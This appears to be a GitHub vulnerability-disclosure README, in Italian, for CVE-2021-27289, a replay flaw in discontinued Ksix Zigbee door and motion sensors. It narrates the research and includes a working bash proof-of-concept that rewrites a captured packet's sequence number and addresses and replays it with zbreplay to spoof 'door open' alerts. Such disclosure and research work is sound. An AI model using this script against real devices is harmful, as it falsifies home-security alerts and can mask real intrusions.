themalwareguardian/cve-2021-27289CVE-2021-27289: Bypass della protezione di riproduzione sui dispositivi Zigbee Ksix
Ciao a tutti,
Immagino che la cosa più professionale da fare fosse intitolare questa repository esattamente per com'è: chiara, descrittiva e diretta. Ma mentre la preparavo, mi sono venuti in mente altri titoli, tipo:
Comunque, ecco la storia.
Mentre mi preparavo a divulgare una nuova vulnerabilità, mi sono ricordato di qualcosa a cui avevo lavorato anni fa: un bug trovato durante il mio progetto di fine studi, mentre facevo ricerca su protocolli IoT come Thread e Zigbee. All'epoca inviai un report a MITRE ma non ricevetti mai risposta, quindi pensai che fosse stato semplicemente ignorato.
Per curiosità, sono rientrato nel vecchio account Gmail che usavo per l'invio... e con mia sorpresa, nel 2023 - tre anni dopo - ho visto che era stata effettivamente assegnata una CVE.
CVE-2021-27289, collegata alla vulnerabilità che avevo segnalato da studente.
Perché ci è voluto così tanto? Quando ho contattato per la prima volta il vendor, hanno detto che non avevano abbastanza personale per sistemarla e hanno continuato a ripetere quella scusa. Ho detto a MITRE che nessuno sembrava fare nulla al riguardo, quindi immagino che abbiano aspettato - probabilmente perché il problema non sarebbe mai stato patchato comunque.
Il bug riguardava diversi dispositivi IoT basati su Zigbee prodotti da Ksix. Il problema principale era che il meccanismo di protezione dalla riproduzione, definito nella specifica Zigbee e applicato tramite il frame counter, non era implementato correttamente.
Poiché i dispositivi non controllavano correttamente il frame counter, un attaccante poteva comunicare con la rete e falsificare pacchetti semplicemente aumentando il numero di sequenza a un valore più alto dell'ultimo visto dal dispositivo. Ciò rendeva possibile riprodurre messaggi catturati e farli accettare come validi - risultando di fatto in un bypass dell'autenticazione.
Questa repo include tutto ciò su cui ho lavorato durante il mio progetto finale:
I dispositivi Zigbee Ksix sono affetti da una vulnerabilità di attacco di riproduzione causata da un'implementazione impropria dei meccanismi di protezione dalla riproduzione di Zigbee.
Le seguenti versioni sono state testate e risultate vulnerabili. Non ho testato versioni successive, quindi potrebbero essere affette anch'esse.
Questi prodotti non sono più disponibili sul sito del vendor o su piattaforme come Amazon, e sembrano essere stati discontinuati.
Lo stack Zigbee nei dispositivi affetti non applica correttamente il meccanismo di protezione dalla riproduzione, che si basa sul campo frame counter definito nella specifica Zigbee. Questo campo serve a garantire che i messaggi ricevuti siano freschi e non siano stati riprodotti.
Tuttavia, in questa implementazione, il frame counter viene ignorato o non validato correttamente. Di conseguenza, un attaccante può catturare un pacchetto Zigbee legittimo, aumentare il suo numero di sequenza a un valore più alto (es. 250) e riprodurlo nella rete.
Poiché i dispositivi controllano solo il numero di sequenza, accettano il messaggio come nuovo - consentendo comunicazioni spoofate e azioni non autorizzate senza che venga violata alcuna autenticazione o crittografia.
A seconda del tipo di dispositivo e di come è integrato nell'ambiente, ciò può causare falsi allarmi o stati falsi dei sensori nell'app che l'utente ha usato originariamente per configurare la rete (es. movimento rilevato, porta aperta) - anche se in realtà non è successo nulla. In configurazioni più complesse, potrebbe persino destabilizzare i flussi di automazione o innescare azioni indesiderate basate su dati spoofati.
Questi dispositivi vengono tipicamente configurati con app come Tuya Smart o piattaforme simili, che notificano gli utenti in tempo reale quando un sensore viene attivato - ad esempio, quando una porta si apre o viene rilevato movimento. È questo che rende i seguenti attacchi particolarmente efficaci, anche se gli eventi fisici non accadono mai.
Sebbene l'impatto diretto di questa specifica vulnerabilità di riproduzione sia limitato, una comprensione più profonda del protocollo - come quella che ho esplorato nel mio progetto di fine studi - rivela scenari di attacco più avanzati che potrebbero essere realizzati con risorse minime.
#!/bin/bash
function usage(){ echo -e "\nUsage: $0 [ZigbeeChannel] [SecuenceNumber] [HexDumpFile] [ShortSource] [ExtendedSource] [ShortDestination] [ShortPanId] [FCS]" echo -e "Example: $0 11 250 Open_Door_Alert_Hex_Dump 0x0001 11:ff:11:ff:11:ff:11:ff 0x0000 0x3333 0x0000 \n" echo -e "IMPORTANT: This is a script that I developed to understand how an IEEE 802.15.4 / Zigbee packet is formed, modify some fields of the packet in a simple way and see the effect when forwarding it to the network. If you want to exploit the vulnerability, follow the steps that I specify in the comments I make in the script. I exploited the vulnerability by spoofing a packet (sequence number 250) that contained the message "Door open".\n" }
function message(){ echo -e "\nProof of Concept" echo -e "There is an incorrect check of the "sequence number" field on Ksix Zigbee devices\n" echo -e "IMPORTANT: This is a script that I developed to understand how an IEEE 802.15.4 / Zigbee packet is formed, modify some fields of the packet in a simple way and see the effect when forwarding it to the network. If you want to exploit the vulnerability, follow the steps that I specify in the comments I make in the script. I exploited the vulnerability by spoofing a packet (sequence number 250) that contained the message "Door open".\n" }
function poc_playback(){ # Variables ZIGBEE_CHANNEL=$1 SECUENCE_NUMBER=$2 HEX_DUMP_FILE=$3 SHORT_SOURCE=$4 EXTENDED_SOURCE=$5 SHORT_DESTINATION=$6 SHORT_PAN_DESTINATION=$7 FRAME_CHECK_SECUENCE=$8 declare -a first_line_array declare -a second_line_array declare -a last_line_array # Change packet fields while IFS= read -r line do if [[ "$line" == "0000"* ]]; then IFS=' ' read -ra first_line_array <<< "$line" first_line_array[0]+=" " first_line_array[3]=$( printf "%x" $SECUENCE_NUMBER ) first_line_array[4]=${SHORT_PAN_DESTINATION:4:2} first_line_array[5]=${SHORT_PAN_DESTINATION:2:2} first_line_array[6]=${SHORT_DESTINATION:4:2}; first_line_array[11]=${SHORT_DESTINATION:4:2} first_line_array[7]=${SHORT_DESTINATION:2:2}; first_line_array[12]=${SHORT_DESTINATION:2:2} first_line_array[8]=${SHORT_SOURCE:4:2}; first_line_array[13]=${SHORT_SOURCE:4:2} first_line_array[9]=${SHORT_SOURCE:2:2}; first_line_array[14]=${SHORT_SOURCE:2:2} echo "${first_line_array[@]}" > Check_Secuence_Number_Incorrectly_HEX_Dump elif [[ "$line" == "0010"* ]]; then IFS=' ' read -ra second_line_array <<< "$line" second_line_array[0]+=" " second_line_array[7]=${EXTENDED_SOURCE:21:2}; second_line_array[8]=${EXTENDED_SOURCE:18:2} second_line_array[9]=${EXTENDED_SOURCE:15:2}; second_line_array[10]=${EXTENDED_SOURCE:12:2} second_line_array[11]=${EXTENDED_SOURCE:9:2}; second_line_array[12]=${EXTENDED_SOURCE:6:2} second_line_array[13]=${EXTENDED_SOURCE:3:2}; second_line_array[14]=${EXTENDED_SOURCE:0:2} echo "${second_line_array[@]}" >> Check_Secuence_Number_Incorrectly_HEX_Dump elif [[ "$line" == "0030"* ]]; then IFS=' ' read -ra last_line_array <<< "$line" last_line_array[0]+=" " last_line_array[11]=${FRAME_CHECK_SECUENCE:4:2} last_line_array[12]=${FRAME_CHECK_SECUENCE:2:2} echo "${last_line_array[@]}" >> Check_Secuence_Number_Incorrectly_HEX_Dump else echo "$line" >> Check_Secuence_Number_Incorrectly_HEX_Dump fi done < $HEX_DUMP_FILE # Hex Dump file to pcap text2pcap Check_Secuence_Number_Incorrectly_HEX_Dump Check_Secuence_Number_Incorrectly.pcap # Playback zbreplay --channel $ZIGBEE_CHANNEL --pcapfile Check_Secuence_Number_Incorrectly.pcap && echo -e "\nPacket sent to the network. Poc Completed.\n" }
function main(){ if [ $# -lt 8 ]; then echo -e "\n\t Missing arguments" usage exit else message poc_playback $1 $2 $3 $4 $5 $6 $7 $8 fi }
main $1 $2 $3 $4 $5 $6 $7 $8
#NOTE: This is a script that I developed to understand how an IEEE 802.15.4 / Zigbee packet is formed, modify some fields of the packet in a simple way and see the effect when forwarding it to the network. If you want to exploit the vulnerability, follow the steps that I specify in the comments I make in the script. I exploited the vulnerability by spoofing a packet (sequence number 250) that contained the message "Door open".
<div id='vulnerability-demo-videos'/>
### ***🎥 Video dimostrativi***
- [Video YouTube - CVE-2021-27289: Attacco replay sui dispositivi Zigbee Ksix (Panoramica + Vecchie demo)]() - In arrivo. Ripubblicherò le demo originali che ho registrato nel 2020, questa volta con commenti che spiegano la configurazione dell'ambiente, il processo di attacco e altro.
---
---
---
<div id='original-blog-post'/>
## ***📝 Post originale del blog***
Il post originale del blog è stato pubblicato nel 2020 su quello che allora era il mio sito web personale principale (ah, la nostalgia 😅). All'epoca, condivisi un write-up tecnico per supportare la mia richiesta CVE a MITRE, per inviare il proof-of-concept exploit a Exploit-DB e per pubblicare i video dimostrativi (che ora ho ricaricato su un account YouTube diverso).
Quello che troverai qui sotto è una versione leggermente ristrutturata di quel post originale.
<div id='original-blog-post-researcher'/>
### ***👤 Ricercatore***
Un Alejandro Vázquez Vázquez di 22 anni, che iniziaba a prendere sul serio la cybersecurity - trasformando lentamente una passione in una carriera.
<div id='original-blog-post-zigbee-basics'/>
### ***📡 Nozioni di base su Zigbee***
Se non hai familiarità con Zigbee, non mi aspetto che tu legga la mia tesi o l'intera specifica IEEE 802.15.4. Ti consiglio invece queste eccellenti risorse per comprendere a fondo il protocollo:
- [Kudelski Security Research - ZigBee Security: Basics (Parte 1)](https://research.kudelskisecurity.com/2017/11/01/zigbee-security-basics-part-1/)
- [Kudelski Security Research - ZigBee Security: Basics (Parte 2)](https://research.kudelskisecurity.com/2017/11/08/zigbee-security-basics-part-2/)
- [Kudelski Security Research - ZigBee Security: Basics (Parte 3)](https://research.kudelskisecurity.com/2017/11/21/zigbee-security-basics-part-3/)
- [Payatu - Zigbee Security 101 (Architettura e problemi di sicurezza)](https://payatu.com/blog/zigbee-security-101-architecture-and-security-issues/)
- [Hong Kong Computer Emergency Response Team Coordination Centre (HKCERT) - Device (ZigBee) Security Study](https://www.hkcert.org/f/guideline/264461/3a1c8eed-012c-4b59-9d9e-971001d66c77-DLFE-14602.pdf)
<div id='original-blog-post-background-and-motivation'/>
### ***💡 Contesto e motivazione***
Per il mio progetto finale di laurea, ho scelto un argomento un po' insolito nella mia università: invece di sviluppare un'applicazione, mi sono concentrato interamente sulla ricerca e sull'analisi dei protocolli di comunicazione. Ho scelto questa strada perché mi permetteva di esplorare quella che all'epoca vedevo come un'area critica: la sicurezza dei dispositivi IoT.
Il mio lavoro si è incentrato sui protocolli Zigbee e Thread, oltre che sulla loro base: IEEE 802.15.4. Dopo aver esaminato abbastanza documentazione tecnica e ricerche accademiche, sono passato a test pratici con dispositivi reali, con l'obiettivo di replicare e analizzare vulnerabilità note sul campo.
<div id='original-blog-post-early-experiments'/>
### ***🔍 Primi esperimenti***
I miei test sono iniziati con un sensore di movimento Zigbee. Volevo vedere come il dispositivo avrebbe risposto a un messaggio di controllo spoofato - in particolare, a un frame di realignment della rete, che normalmente viene usato per reimpostare i parametri di configurazione Zigbee. Ho iniettato un frame nella rete per simulare una riconfigurazione - e ha funzionato. Il sensore risultava ancora "connesso" nell'app mobile (quella che avevo usato per configurare la rete), ma in realtà aveva perso la comunicazione con il coordinatore e doveva essere resettato manualmente. Questo mi ha fatto capire che il dispositivo accettava determinati pacchetti senza una validazione forte.
Incoraggiato da questo risultato, sono passato agli attacchi replay. Usando uno sniffer, ho catturato messaggi Zigbee standard da un sensore porta (come "porta aperta" e "porta chiusa"). Dopo aver resettato la rete Zigbee, ho riprodotto quei pacchetti senza modificare alcun campo. Con mia sorpresa, l'app mobile ha generato avvisi in tempo reale, come se la porta fosse stata appena aperta o chiusa - anche se stavo semplicemente riproducendo messaggi catturati in precedenza.
Questo ha confermato che i meccanismi di protezione progettati per prevenire gli attacchi replay non erano implementati o non funzionavano correttamente su questi dispositivi.
<div id='original-blog-post-discovery'/>
### ***💥 Scoperta***
A questo punto, volevo capire meglio perché la riproduzione di vecchi pacchetti funzionasse. Zigbee definisce due campi chiave per prevenire questo tipo di attacco: il frame counter, che aumenta a ogni messaggio inviato, e il sequence number, che aiuta a rilevare i duplicati.
Quindi ho iniziato a sperimentare con entrambi.
Prima ho catturato circa 50 pacchetti validi e li ho riprodotti nella rete. Ho ricevuto diversi avvisi, proprio come prima. Poi ho modificato il frame counter, impostandolo a un valore molto più alto in ogni pacchetto, e ho riprovato. Questa volta non è successo nulla - nessun avviso. Questo mi ha fatto sospettare che venisse eseguito qualche tipo di controllo, ma in modo incoerente.
Per approfondire, ho resettato di nuovo la rete Zigbee e, invece di modificare il frame counter, mi sono concentrato sul sequence number. Ho riprodotto gli stessi messaggi catturati ma aumentando gradualmente il sequence number a ogni pacchetto, simulando ciò che farebbe un dispositivo normale.
Ha funzionato.
Gli avvisi hanno ricominciato ad apparire nell'app mobile. È stato allora che ho capito che i dispositivi probabilmente facevano affidamento solo sul sequence number per determinare se un pacchetto fosse nuovo - ignorando completamente il frame counter, che è il campo esplicitamente progettato per prevenire gli attacchi replay.
Questo difetto significava che, finché continuavo a inviare pacchetti con sequence number più recenti, potevo continuare a iniettare messaggi falsi nella rete - e i dispositivi li avrebbero accettati come legittimi.
Quindi, a causa di una scarsa implementazione - o forse delle limitate capacità di elaborazione del coordinatore (gateway Zigbee) - potevo, semplicemente trovandomi nel raggio wireless della rete, riprodurre messaggi catturati in precedenza come "porta aperta" o "porta chiusa". Questi eventi spoofati sarebbero poi apparsi nell'app mobile esattamente come se fossero appena accaduti nella vita reale.
<div id='original-blog-post-exploitation'/>
### ***🧨 Sfruttamento***
Sfruttare la vulnerabilità è banale:
Catturi un frame Zigbee valido, cambi il sequence number con un valore più alto e lo riproduci. Il dispositivo ricevente accetta il messaggio e l'utente riceve un avviso in tempo reale nella propria app, credendo che ci sia stata un'attività reale.
In alcuni test, sono persino riuscito a interrompere la comunicazione dei dispositivi, facendo sì che i sensori risultassero "online" nell'app ma diventassero non responsivi, il che potrebbe essere pericoloso in scenari di sicurezza fisica.
<div id='original-blog-post-lab-setup'/>
### ***🔬 Configurazione del laboratorio***
I test sono stati condotti nel 2020 utilizzando un piccolo laboratorio di dispositivi IoT basati su Zigbee prodotti da Ksix. I seguenti modelli e versioni firmware sono stati confermati vulnerabili all'epoca:
- Modulo Gateway Zigbee – v1.0.3
- Modulo principale Gateway – v1.1.2
- Sensore porta – v1.0.7
- Sensore di movimento PIR – v1.0.12
Per eseguire gli attacchi e catturare il traffico Zigbee, ho utilizzato:
- APImote, uno sniffer hardware USB per reti IEEE 802.15.4
- KillerBee Framework, utilizzato per catturare, iniettare e analizzare i pacchetti
Questa configurazione mi ha permesso di simulare interazioni del mondo reale, analizzare i flussi di traffico e testare sia scenari di denial-of-service che di attacco replay in un ambiente controllato.
<div id='original-blog-post-related-research'/>
### ***📚 Ricerche correlate***
Doverosamente ringrazio tutti i ricercatori che mi hanno reso il percorso più facile e dalle cui pubblicazioni ho appreso i vettori di attacco e le vulnerabilità più comuni di questo tipo di reti IoT:
- [Fan, X., Susan, F., Long, W., & Li, S. (2017). Security Analysis of Zigbee.](https://www.semanticscholar.org/paper/Security-Analysis-of-Zigbee-Fan-Susan/3d1d5a51d05cde08b6e52afd5bd7bc325b487a10?p2df)
- [Zillner, T. (2016). ZigBee Exploited: The good, the bad and the ugly.Magdeburger Journal zur Sicher-heitsforschung,12, 699–704.](https://www.blackhat.com/docs/us-15/materials/us-15-Zillner-ZigBee-Exploited-The-Good-The-Bad-And-The-Ugly.pdf)
- [Sokullu, R., Korkmaz, I., Dagdeviren, O., Mitseva, A., & Prasad, N. R. (2007). An Investigation on IEEE 802.15.4 MAC Layer Attacks. In Proceedings of The 10th International Symposium on Wireless Personal Multimedia Communications (WPMC) 2007 (pp. 1019-1023).](https://www.researchgate.net/publication/4373276_On_the_IEEE_802154_MAC_layer_attacks_GTS_attack)
- [R. Sokullu, O. Dagdeviren and I. Korkmaz, "On the IEEE 802.15.4 MAC Layer Attacks: GTS Attack," 2008 Second International Conference on Sensor Technologies and Applications (sensorcomm 2008), Cap Esterel, 2008, pp. 673-678, DOI: 10.1109/SENSORCOMM.2008.75.](https://ieeexplore.ieee.org/document/4622738)
- [M. S. Wara and Q. Yu, "New Replay Attacks on ZigBee Devices for Internet-of-Things (IoT) Applications," 2020 IEEE International Conference on Embedded Software and Systems (ICESS), Shanghai, China, 2020, pp. 1-6, DOI: 10.1109/ICESS49830.2020.9301593.](https://ieeexplore.ieee.org/document/9301593)
- [Olawumi, Olayemi & Haataja, Keijo & Asikainen, M. & Vidgren, Niko & Toivanen, Pekka. (2014). Three Practical Attacks Against ZigBee Security: Attack Scenario Definitions, Practical Experiments, Countermeasures, and Lessons Learned.. 2014 14th International Conference on Hybrid Intelligent Systems, HIS 2014. DOI: 10.1109/HIS.2014.7086198.](https://www.researchgate.net/publication/276272068_Three_Practical_Attacks_Against_ZigBee_Security_Attack_Scenario_Definitions_Practical_Experiments_Countermeasures_and_Lessons_Learned)